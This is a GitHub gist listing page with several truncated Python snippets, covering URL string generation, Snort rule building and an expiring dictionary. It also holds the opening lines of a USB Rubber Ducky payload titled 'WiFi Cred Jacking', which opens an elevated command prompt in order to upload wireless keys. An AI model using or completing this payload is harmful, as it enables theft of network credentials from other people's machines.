Skip to content

Instantly share code, notes, and snippets.

@j105rob
j105rob / test.py
Created February 13, 2018 00:20
quick example for Mr.Finger
from __future__ import division
from geopy.distance import vincenty
import math
from random import randint
class Car(object):
def __init__(self):
'''
Initialize class level variables here. If we needed to pass in objects (instances of classes)
we could do that too.
def robLoop():
a = [48,48,48,48,48,48,48,48,
48,48,48,48,48,48,48,48]
exclude = [58,59,69,61,62,63,64,91,92,93,94,95,96]
max = 123
for i in range(0,len(a)):
while a[i] < max:
url = ''.join(str(chr(e)) for e in a)
print url
def numSuhDudesRequiredToScrewInALightBulb(self,num=None):
if num != None:
return None
else:
return num
@j105rob
j105rob / SnortRulesParse.py
Last active November 24, 2016 12:26
Parse Snort Text Rules into Python Dict
go to https://github.com/lattera/porkroll for the latest version.
@j105rob
j105rob / test2.py
Created August 27, 2015 15:00
for Da
s = "http://www.foo.com/bar/baz"
a = s.split('/')
a.reverse()
a.pop()
a.pop()
a.pop()
a.reverse()
out = "/"+"/".join(a)
z = "{0:0{1}x}"
fout = open('muh.rules', 'w')
with open('muh.bad.zones.txt','r') as f:
parts = f.readline().split('.')
rule = ("|%s|%s|%s|%s|%s|%s"%(z.format(len(parts[0]),2),parts[0],z.format(len(parts[1]),2),parts[1],z.format(len(parts[2]),2),parts[2]))
fout.write(rule)
fout.close()
@j105rob
j105rob / ExpiringDictWithCallback
Created May 23, 2015 11:01
Update to mailgun's ExpiringDict to add a callback func when expiration happens.
class ExpiringDictWithCallback(ExpiringDict):
def __init__(self, max_len, max_age_seconds, callback=None):
assert max_age_seconds >= 0
assert max_len >= 1
OrderedDict.__init__(self)
self.max_len = max_len
self.max_age = max_age_seconds
self.lock = RLock()
self.callback = callback
@j105rob
j105rob / gist:6403843
Created September 1, 2013 11:21
WiFi Cred Jacking w/ Rubber Ducky
REM #### win 7 bits upload wlan keys
DELAY 1000
ESCAPE
CONTROL ESCAPE
DELAY 400
STRING cmd
DELAY 400
CTRL-SHIFT ENTER
DELAY 400
ALT y
import time
from random import randint
import os
import sys
from subprocess import call
#os.system('curl')
def accessDocs(proxy):
temp = ["manual.pdf", "altamira.docx", "ajpresentation.pptx"]